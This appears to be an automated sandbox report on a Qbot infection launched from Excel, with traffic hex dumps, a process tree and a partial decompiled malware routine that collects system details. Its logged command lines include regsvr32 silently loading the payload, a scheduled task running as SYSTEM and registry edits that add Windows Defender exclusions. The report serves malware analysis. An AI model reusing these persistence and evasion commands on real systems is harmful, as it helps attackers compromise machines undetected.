Oct 4, 2021 17:00:22.412746906 CEST	1091	IN	Data Raw: 07 10 2a c1 2b d1 a2 a0 d9 07 10 8d 0c 55 2c 00 00 00 89 0d b4 d9 07 10 8b 7c 24 40 0f b7 d7 2b d1 c7 44 24 38 0f a7 1f 02 83 c2 fd 66 89 15 94 d9 07 10 3b f1 72 1c 8b 4c 24 48 2a c1 a2 a0 d9 07 10 0f b7 c1 2b f0 8d 04 75 2c 00 00 00 a3 b4 d9 07 Data Ascii: +U,\|$@+D$8f;rL$H+u,+/QZR=D$XD$ k+/QD$0L$D$PD$(f+\|$3\$D$<++;rL$(+<E,\|$=
Oct 4, 2021 17:00:22.412770987 CEST	1092	IN	Data Raw: 24 5c 0f b7 cf 3b cb 72 15 28 05 a0 d9 07 10 2b c8 8d 04 4d 2c 00 00 00 89 44 24 18 8b d8 8b c6 8b cb 2b 44 24 18 2b cf 83 c0 2c 81 c1 2f 51 00 00 0f b7 c0 bf 0f a7 1f 02 89 44 24 10 0f b6 44 24 0e 89 7c 24 34 0f b7 f9 2b c7 89 4c 24 24 83 c0 0c Data Ascii: $\;r(+M,D$+D$+,/QD$D$\|$4+L$$f++Hk/Q-h\|$q=D$$t$\;r(T$L$D$<D$ +D$ /Qf;D$ w#L$
Oct 4, 2021 17:00:22.412796974 CEST	1094	IN	Data Raw: b7 c9 81 c7 2f 51 01 00 89 4c 24 5c 83 7c 24 30 02 89 7c 24 18 89 3d b0 d9 07 10 73 34 8b 44 24 10 39 74 24 40 0f b6 0d a4 d9 07 10 0f b6 c0 0f 46 c8 8b c7 88 0d a4 d9 07 10 8b 4c 24 30 49 2b c1 89 4c 24 30 83 c0 2c 0f b7 c0 89 44 24 10 eb 22 8b Data Ascii: /QL$\\|$0\|$=s4D$9t$@FL$0I+L$0,D$"L$(9L$@wD$ T$D$\(fL$$fD$TL$+,=D$TtT$\$+L$\$++D$TD$L$
Oct 4, 2021 17:00:22.412827015 CEST	1095	IN	Data Raw: 6c ff ff ff c7 46 10 00 00 00 00 c7 46 14 00 00 00 00 0f 10 00 0f 11 06 f3 0f 7e 40 10 66 0f d6 46 10 c7 40 10 00 00 00 00 c7 40 14 0f 00 00 00 c6 00 00 8b 55 d0 83 fa 10 72 2c 8b 4d bc 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 Data Ascii: lFF~@fF@@Ur,MBrI#+RQ\<UEEEr,MBrI#+RQ<UEEEr+tBrI#+wyRQ;
Oct 4, 2021 17:00:22.412837982 CEST	1095	IN	Data Raw: cc cc cc cc cc 55 8b ec 83 e4 f8 0f b6 01 83 c1 08 50 e8 9e 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 8b 4e 14 83 f9 10 72 27 8b 06 41 81 f9 00 10 00 00 72 12 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 1f 8b c2 51 50 e8 32 37 Data Ascii: UP]VNr'ArP#+wQP27FF^\|T$VWxFFf@u+PR_
Oct 4, 2021 17:00:22.412854910 CEST	1097	IN	Data Raw: c6 5e c2 04 00 cc cc cc cc cc cc cc 55 8b ec 6a ff 68 10 b9 04 10 64 a1 00 00 00 00 50 83 ec 38 53 56 57 a1 68 d0 07 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 89 4d ec 8a 45 08 33 db c7 45 d0 00 00 00 00 89 5d d4 89 5d d8 3c 02 75 47 8b 11 8b 4a 04 Data Ascii: ^UjhdP8SVWh3PEdME3E]]<uGJ+ttQMEMQrMP]<9Gt=2PME]8?7;N(9]t2WACACfEEA
Oct 4, 2021 17:00:22.412878990 CEST	1098	IN	Data Raw: 0c c6 04 3b 00 8b c6 5f 5e 5b 59 c2 08 00 81 ff ff ff ff 7f 0f 87 cf 00 00 00 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff ff 7f eb 1e 8b d1 b8 ff ff ff 7f d1 ea 2b c2 3b c8 76 07 bb ff ff ff 7f eb 08 8d 04 0a 3b d8 0f 42 d8 8d 4b 01 55 81 f9 Data Ascii: ;_^[Yv+;v;BKUr#A#;FP-tth#EtQ-3Wt$~U^AD$/r)HrP#+wQP0.]_^[YvV
Oct 4, 2021 17:00:22.414491892 CEST	1099	IN	Data Raw: c0 66 0f 13 44 24 0c 2b d0 8b 7c 24 10 8b 5c 24 0c 0f 1f 80 00 00 00 00 8a 08 88 0c 02 8b 48 08 89 4c 02 08 8b 48 0c 89 4c 02 0c c6 00 00 89 58 08 89 78 0c 83 c0 10 3b c6 75 dd 5f 5e 5b 83 c4 08 c2 0c 00 cc cc cc cc 55 8b ec 6a ff 68 89 b9 04 10 Data Ascii: fD$+\|$\$HLHLXx;u_^[UjhdPSVWh3PEd}EGGE]ECPWO+r(AGrj4hLjVBFjhLjEuj
Oct 4, 2021 17:00:22.438086987 CEST	1101	IN	Data Raw: 00 00 cc cc cc cc cc cc cc cc cc cc cc cc 51 53 8b d9 55 8b 6c 24 10 8b 13 2b ea 8b 43 04 2b c2 c1 f8 04 3d ff ff ff 0f 0f 84 f4 00 00 00 8b 4b 08 2b ca c1 f9 04 56 8d 70 01 8b d1 d1 ea b8 ff ff ff 0f 2b c2 89 74 24 0c 57 3b c8 76 04 8b fe eb 08 Data Ascii: QSUl$+C+=K+Vp+t$W;v<;Bvr'A#;FP#p#FtQ"3L$V.AD.AD.D$AAS;uRQPQ

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1912 Parent PID: 596

General

Start time:	16:59:19
Start date:	04/10/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fa30000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: regsvr32.exe PID: 2828 Parent PID: 1912

General

Start time:	16:59:28
Start date:	04/10/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -silent ..\Celod.wac
Imagebase:	0xfffa0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1232 Parent PID: 2828

General

Start time:	16:59:29
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-silent ..\Celod.wac
Imagebase:	0x970000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000004.00000003.503572061.00000000002B0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: regsvr32.exe PID: 1164 Parent PID: 1912

General

Start time:	16:59:59
Start date:	04/10/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -silent ..\Celod.wac1
Imagebase:	0xfffa0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1836 Parent PID: 1164

General

Start time:	16:59:59
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-silent ..\Celod.wac1
Imagebase:	0x970000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000006.00000003.571303850.0000000002080000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: explorer.exe PID: 2528 Parent PID: 1232

General

Start time:	17:00:05
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xc60000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 172 Parent PID: 2528

General

Start time:	17:00:06
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn vgcwztk /tr 'regsvr32.exe -s \'C:\Users\user\Celod.wac\'' /SC ONCE /Z /ST 17:02 /ET 17:14
Imagebase:	0x2a0000
File size:	179712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 1892 Parent PID: 1672

General

Start time:	17:00:09
Start date:	04/10/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe -s 'C:\Users\user\Celod.wac'
Imagebase:	0xfffa0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2840 Parent PID: 1892

General

Start time:	17:00:09
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s 'C:\Users\user\Celod.wac'
Imagebase:	0x970000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 0000000C.00000003.595370206.0000000000430000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: regsvr32.exe PID: 840 Parent PID: 1912

General

Start time:	17:00:30
Start date:	04/10/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -silent ..\Celod.wac2
Imagebase:	0xfffa0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 2280 Parent PID: 840

General

Start time:	17:00:35
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-silent ..\Celod.wac2
Imagebase:	0x970000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 0000000F.00000003.649324622.0000000000220000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: explorer.exe PID: 2532 Parent PID: 1836

General

Start time:	17:00:37
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xc60000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: explorer.exe PID: 1964 Parent PID: 2840

General

Start time:	17:00:48
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xc60000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000011.00000002.896964841.0000000000080000.00000040.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: reg.exe PID: 284 Parent PID: 1964

General

Start time:	17:00:51
Start date:	04/10/2021
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ttcmmieugikj' /d '0'
Imagebase:	0xff420000
File size:	74752 bytes
MD5 hash:	9D0B3066FE3D1FD345E86BC7BCCED9E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exe PID: 3020 Parent PID: 1964

General

Start time:	17:00:53
Start date:	04/10/2021
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Incef' /d '0'
Imagebase:	0xff3c0000
File size:	74752 bytes
MD5 hash:	9D0B3066FE3D1FD345E86BC7BCCED9E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: explorer.exe PID: 1368 Parent PID: 2280

General

Start time:	17:01:13
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xc60000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source: 00000017.00000002.655330254.0000000000080000.00000040.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: regsvr32.exe PID: 2600 Parent PID: 1672

General

Start time:	17:02:00
Start date:	04/10/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe -s 'C:\Users\user\Celod.wac'
Imagebase:	0xfff80000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: regsvr32.exe PID: 1068 Parent PID: 2600

General

Start time:	17:02:00
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s 'C:\Users\user\Celod.wac'
Imagebase:	0xda0000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: regsvr32.exe PID: 1232 Parent PID: 2828 regsvr32.exeCOMMON

Executed Functions

Function 6D7FD061, Relevance: 35.3, APIs: 15, Strings: 5, Instructions: 282
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6D7FD061(void* __fp0) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				struct _SYSTEM_INFO _v52;
				char _v180;
				short _v692;
				char _v704;
				char _v2680;
				void* __esi;
				struct _OSVERSIONINFOA* _t81;
				intOrPtr _t83;
				void* _t84;
				long _t86;
				void** _t88;
				intOrPtr _t90;
				intOrPtr _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				void* _t98;
				intOrPtr _t103;
				char* _t105;
				void* _t108;
				intOrPtr _t111;
				long _t115;
				signed int _t117;
				long _t119;
				intOrPtr _t124;
				intOrPtr _t127;
				intOrPtr _t130;
				intOrPtr _t134;
				intOrPtr _t145;
				intOrPtr _t147;
				intOrPtr _t149;
				intOrPtr _t152;
				intOrPtr _t154;
				signed int _t159;
				struct HINSTANCE__* _t162;
				short* _t164;
				intOrPtr _t167;
				WCHAR* _t168;
				char* _t169;
				intOrPtr _t181;
				intOrPtr _t200;
				void* _t215;
				long _t218;
				void* _t219;
				char* _t220;
				struct _OSVERSIONINFOA* _t222;
				void* _t223;
				int* _t224;
				void* _t241;

				_t241 = __fp0;
				_t162 =  *0x6d80e69c; // 0x6d7f0000
				_t81 = E6D7F85E5(0x1ac4);
				_t222 = _t81;
				if(_t222 == 0) {
					return _t81;
				}
				 *((intOrPtr*)(_t222 + 0x1640)) = GetCurrentProcessId();
				_t83 =  *0x6d80e684; // 0x298faa0
				_t84 =  *((intOrPtr*)(_t83 + 0xa0))(_t215);
				_t3 = _t222 + 0x648; // 0x648
				E6D802339( *((intOrPtr*)(_t222 + 0x1640)) + _t84, _t3);
				_t5 = _t222 + 0x1644; // 0x1644
				_t216 = _t5;
				_t86 = GetModuleFileNameW(0, _t5, 0x105);
				_t227 = _t86;
				if(_t86 != 0) {
					 *((intOrPtr*)(_t222 + 0x1854)) = E6D7F8F9F(_t216, _t227);
				}
				GetCurrentProcess();
				_t88 = E6D7FBA47(); // executed
				 *(_t222 + 0x110) = _t88;
				_t178 =  *_t88;
				if(E6D7FBBCF( *_t88) == 0) {
					_t90 = E6D7FBAA4(_t178, _t222); // executed
					__eflags = _t90;
					_t181 = (0 | _t90 > 0x00000000) + 1;
					__eflags = _t181;
					 *((intOrPtr*)(_t222 + 0x214)) = _t181;
				} else {
					 *((intOrPtr*)(_t222 + 0x214)) = 3;
				}
				_t12 = _t222 + 0x220; // 0x220, executed
				_t91 = E6D7FE433(_t12); // executed
				 *((intOrPtr*)(_t222 + 0x218)) = _t91;
				_t92 = E6D7FE3F8(_t12); // executed
				 *((intOrPtr*)(_t222 + 0x21c)) = _t92;
				 *(_t222 + 0x224) = _t162;
				_v12 = 0x80;
				_v8 = 0x100;
				_t22 = _t222 + 0x114; // 0x114
				if(LookupAccountSidW(0,  *( *(_t222 + 0x110)), _t22,  &_v12,  &_v692,  &_v8,  &_v16) == 0) {
					GetLastError();
				}
				_t97 =  *0x6d80e694; // 0x298fbf8
				_t98 =  *((intOrPtr*)(_t97 + 0x3c))(0x1000);
				_t26 = _t222 + 0x228; // 0x228
				 *(_t222 + 0x1850) = 0 | _t98 > 0x00000000;
				GetModuleFileNameW( *(_t222 + 0x224), _t26, 0x105);
				GetLastError();
				_t31 = _t222 + 0x228; // 0x228
				 *((intOrPtr*)(_t222 + 0x434)) = E6D7F8F9F(_t31, _t98);
				_t34 = _t222 + 0x114; // 0x114, executed
				_t103 = E6D7FB7EA(_t34,  &_v692);
				_t35 = _t222 + 0xb0; // 0xb0
				 *((intOrPtr*)(_t222 + 0xac)) = _t103;
				_push(_t35);
				E6D7FB6BF(_t103, _t35, _t98, _t241);
				_t37 = _t222 + 0xb0; // 0xb0
				_t105 = _t37;
				_t38 = _t222 + 0xd0; // 0xd0
				_t164 = _t38;
				if(_t105 != 0) {
					_t159 = MultiByteToWideChar(0, 0, _t105, 0xffffffff, _t164, 0x20);
					if(_t159 > 0) {
						_t164[_t159] = 0;
					}
				}
				_t41 = _t222 + 0x438; // 0x438
				_t42 = _t222 + 0x228; // 0x228
				E6D7F8FB9(_t42, _t41);
				_t43 = _t222 + 0xb0; // 0xb0
				_t108 = E6D7FD442(_t43, E6D7FC3BB(_t43), 0);
				_t44 = _t222 + 0x100c; // 0x100c
				E6D7FB8CC(_t108, _t44, _t241);
				_t199 = GetCurrentProcess(); // executed
				_t111 = E6D7FBC21(_t110); // executed
				 *((intOrPtr*)(_t222 + 0x101c)) = _t111;
				memset(_t222, 0, 0x9c);
				_t224 = _t223 + 0xc;
				_t222->dwOSVersionInfoSize = 0x9c;
				GetVersionExA(_t222);
				_t167 =  *0x6d80e684; // 0x298faa0
				_t115 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(_t167 + 0x6c)) != 0) {
					 *((intOrPtr*)(_t167 + 0x6c))(GetCurrentProcess(),  &_v8);
					_t115 = _v8;
				}
				 *((intOrPtr*)(_t222 + 0xa8)) = _t115;
				if(_t115 == 0) {
					GetSystemInfo( &_v52);
					_t117 = _v52.dwOemId & 0x0000ffff;
				} else {
					_t117 = 9;
				}
				_t54 = _t222 + 0x1020; // 0x1020
				_t168 = _t54;
				 *(_t222 + 0x9c) = _t117;
				GetWindowsDirectoryW(_t168, 0x104);
				_t119 = E6D7F95C2(_t199, 0x10c);
				_t200 =  *0x6d80e684; // 0x298faa0
				_t218 = _t119;
				 *_t224 = 0x104;
				_push( &_v704);
				_push(_t218);
				_v8 = _t218;
				if( *((intOrPtr*)(_t200 + 0xe0))() == 0) {
					_t154 =  *0x6d80e684; // 0x298faa0
					 *((intOrPtr*)(_t154 + 0xfc))(_t218, _t168);
				}
				E6D7F85B6( &_v8);
				_t124 =  *0x6d80e684; // 0x298faa0
				_t61 = _t222 + 0x1434; // 0x1434
				_t219 = _t61;
				 *_t224 = 0x209;
				_push(_t219);
				_push(L"USERPROFILE");
				if( *((intOrPtr*)(_t124 + 0xe0))() == 0) {
					E6D7F9621(_t219, 0x105, L"%s\\%s", _t168);
					_t152 =  *0x6d80e684; // 0x298faa0
					_t224 =  &(_t224[5]);
					 *((intOrPtr*)(_t152 + 0xfc))(L"USERPROFILE", _t219, "TEMP");
				}
				_push(0x20a);
				_t64 = _t222 + 0x122a; // 0x122a
				_t169 = L"TEMP";
				_t127 =  *0x6d80e684; // 0x298faa0
				_push(_t169);
				if( *((intOrPtr*)(_t127 + 0xe0))() == 0) {
					_t149 =  *0x6d80e684; // 0x298faa0
					 *((intOrPtr*)(_t149 + 0xfc))(_t169, _t219);
				}
				_push(0x40);
				_t220 = L"SystemDrive";
				_push( &_v180);
				_t130 =  *0x6d80e684; // 0x298faa0
				_push(_t220);
				if( *((intOrPtr*)(_t130 + 0xe0))() == 0) {
					_t147 =  *0x6d80e684; // 0x298faa0
					 *((intOrPtr*)(_t147 + 0xfc))(_t220, L"C:");
				}
				_v8 = 0x7f;
				_t72 = _t222 + 0x199c; // 0x199c
				_t134 =  *0x6d80e684; // 0x298faa0
				 *((intOrPtr*)(_t134 + 0xb0))(_t72,  &_v8);
				_t75 = _t222 + 0x100c; // 0x100c
				E6D802339(E6D7FD442(_t75, E6D7FC3BB(_t75), 0),  &_v2680);
				_t76 = _t222 + 0x1858; // 0x1858
				E6D80230B( &_v2680, _t76, 0x20);
				_t79 = _t222 + 0x1878; // 0x1878
				E6D7F900E(1, _t79, 0x14, 0x1e,  &_v2680);
				_t145 = E6D7FCD75(_t79); // executed
				 *((intOrPtr*)(_t222 + 0x1898)) = _t145;
				return _t222;
			}

0x6d7fd061
0x6d7fd06b
0x6d7fd077
0x6d7fd07c
0x6d7fd081
0x6d7fd441
0x6d7fd441
0x6d7fd08e
0x6d7fd094
0x6d7fd099
0x6d7fd09f
0x6d7fd0af
0x6d7fd0bb
0x6d7fd0bb
0x6d7fd0c4
0x6d7fd0ca
0x6d7fd0cc
0x6d7fd0d5
0x6d7fd0d5
0x6d7fd0e1
0x6d7fd0e5
0x6d7fd0ea
0x6d7fd0f0
0x6d7fd0f9
0x6d7fd107
0x6d7fd10e
0x6d7fd113
0x6d7fd113
0x6d7fd114
0x6d7fd0fb
0x6d7fd0fb
0x6d7fd0fb
0x6d7fd11a
0x6d7fd120
0x6d7fd125
0x6d7fd12b
0x6d7fd133
0x6d7fd13d
0x6d7fd14a
0x6d7fd155
0x6d7fd15d
0x6d7fd17e
0x6d7fd180
0x6d7fd180
0x6d7fd182
0x6d7fd18c
0x6d7fd198
0x6d7fd1a8
0x6d7fd1ae
0x6d7fd1b4
0x6d7fd1b6
0x6d7fd1c7
0x6d7fd1cd
0x6d7fd1d3
0x6d7fd1d8
0x6d7fd1de
0x6d7fd1e4
0x6d7fd1e9
0x6d7fd1ee
0x6d7fd1ee
0x6d7fd1f4
0x6d7fd1f4
0x6d7fd1fd
0x6d7fd209
0x6d7fd211
0x6d7fd215
0x6d7fd215
0x6d7fd211
0x6d7fd219
0x6d7fd21f
0x6d7fd225
0x6d7fd22c
0x6d7fd23d
0x6d7fd243
0x6d7fd24b
0x6d7fd252
0x6d7fd254
0x6d7fd265
0x6d7fd26b
0x6d7fd270
0x6d7fd273
0x6d7fd276
0x6d7fd27c
0x6d7fd282
0x6d7fd284
0x6d7fd28a
0x6d7fd293
0x6d7fd296
0x6d7fd296
0x6d7fd299
0x6d7fd2a1
0x6d7fd2ac
0x6d7fd2b2
0x6d7fd2a3
0x6d7fd2a5
0x6d7fd2a5
0x6d7fd2bb
0x6d7fd2bb
0x6d7fd2c1
0x6d7fd2c9
0x6d7fd2d4
0x6d7fd2d9
0x6d7fd2df
0x6d7fd2e1
0x6d7fd2ee
0x6d7fd2ef
0x6d7fd2f0
0x6d7fd2fb
0x6d7fd2fd
0x6d7fd304
0x6d7fd304
0x6d7fd30e
0x6d7fd313
0x6d7fd318
0x6d7fd318
0x6d7fd31e
0x6d7fd325
0x6d7fd326
0x6d7fd333
0x6d7fd346
0x6d7fd34b
0x6d7fd350
0x6d7fd359
0x6d7fd359
0x6d7fd35f
0x6d7fd364
0x6d7fd36a
0x6d7fd370
0x6d7fd375
0x6d7fd37e
0x6d7fd380
0x6d7fd387
0x6d7fd387
0x6d7fd38d
0x6d7fd395
0x6d7fd39a
0x6d7fd39b
0x6d7fd3a0
0x6d7fd3a9
0x6d7fd3ab
0x6d7fd3b6
0x6d7fd3b6
0x6d7fd3bf
0x6d7fd3c7
0x6d7fd3ce
0x6d7fd3d3
0x6d7fd3e2
0x6d7fd3fa
0x6d7fd401
0x6d7fd40f
0x6d7fd421
0x6d7fd428
0x6d7fd430
0x6d7fd435
0x00000000

APIs

Part of subcall function 6D7F85E5: HeapAlloc.KERNEL32(00000008,?,?,6D7F8F65,00000100,?,6D7F5FAC), ref: 6D7F85F3

GetCurrentProcessId.KERNEL32 ref: 6D7FD088
GetModuleFileNameW.KERNEL32(00000000,00001644,00000105), ref: 6D7FD0C4
GetCurrentProcess.KERNEL32 ref: 6D7FD0E1
LookupAccountSidW.ADVAPI32(00000000,?,00000114,00000080,?,?,?), ref: 6D7FD173
GetLastError.KERNEL32 ref: 6D7FD180
GetModuleFileNameW.KERNEL32(?,00000228,00000105), ref: 6D7FD1AE
GetLastError.KERNEL32 ref: 6D7FD1B4
MultiByteToWideChar.KERNEL32(00000000,00000000,000000B0,000000FF,000000D0,00000020), ref: 6D7FD209
GetCurrentProcess.KERNEL32 ref: 6D7FD250

Part of subcall function 6D7FBAA4: CloseHandle.KERNEL32(?,00000000,74EC17D9,6D7F0000), ref: 6D7FBB48

memset.MSVCRT ref: 6D7FD26B
GetVersionExA.KERNEL32(00000000), ref: 6D7FD276
GetCurrentProcess.KERNEL32(00000100), ref: 6D7FD290
IsWow64Process.KERNEL32(00000000), ref: 6D7FD293
GetSystemInfo.KERNEL32(?), ref: 6D7FD2AC
GetWindowsDirectoryW.KERNEL32(00001020,00000104), ref: 6D7FD2C9

Strings

%s\%s, xrefs: 6D7FD33B
TEMP, xrefs: 6D7FD36A, 6D7FD375, 6D7FD386
USERPROFILE, xrefs: 6D7FD326, 6D7FD354
TEMP, xrefs: 6D7FD335
SystemDrive, xrefs: 6D7FD395, 6D7FD3A0, 6D7FD3B5

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$Current$ErrorFileLastModuleName$AccountAllocByteCharCloseDirectoryHandleHeapInfoLookupMultiSystemVersionWideWindowsWow64memset
String ID: %s\%s$SystemDrive$TEMP$TEMP$USERPROFILE
API String ID: 2155830292-2706916422
Opcode ID: 9220be9ba3216b805c2ba6609916e9e6860632d650f4f5f028f8ff815e348879
Instruction ID: e248a8c75808188ebedda20c7adf150a84d38e90684654c93e1160d23d0b7136
Opcode Fuzzy Hash: 9220be9ba3216b805c2ba6609916e9e6860632d650f4f5f028f8ff815e348879
Instruction Fuzzy Hash: 07B14C71604705AFD720DB74CA8CBEA77F8EF49314F01482DE66AD7281EB70A945CB62

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FC702, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 200
nativeregistrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D7FC702(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				long _v28;
				void* _v32;
				intOrPtr _v36;
				long _v40;
				void* _v44;
				char _v56;
				char _v72;
				struct _WNDCLASSEXA _v120;
				void* _t69;
				intOrPtr _t75;
				struct HWND__* _t106;
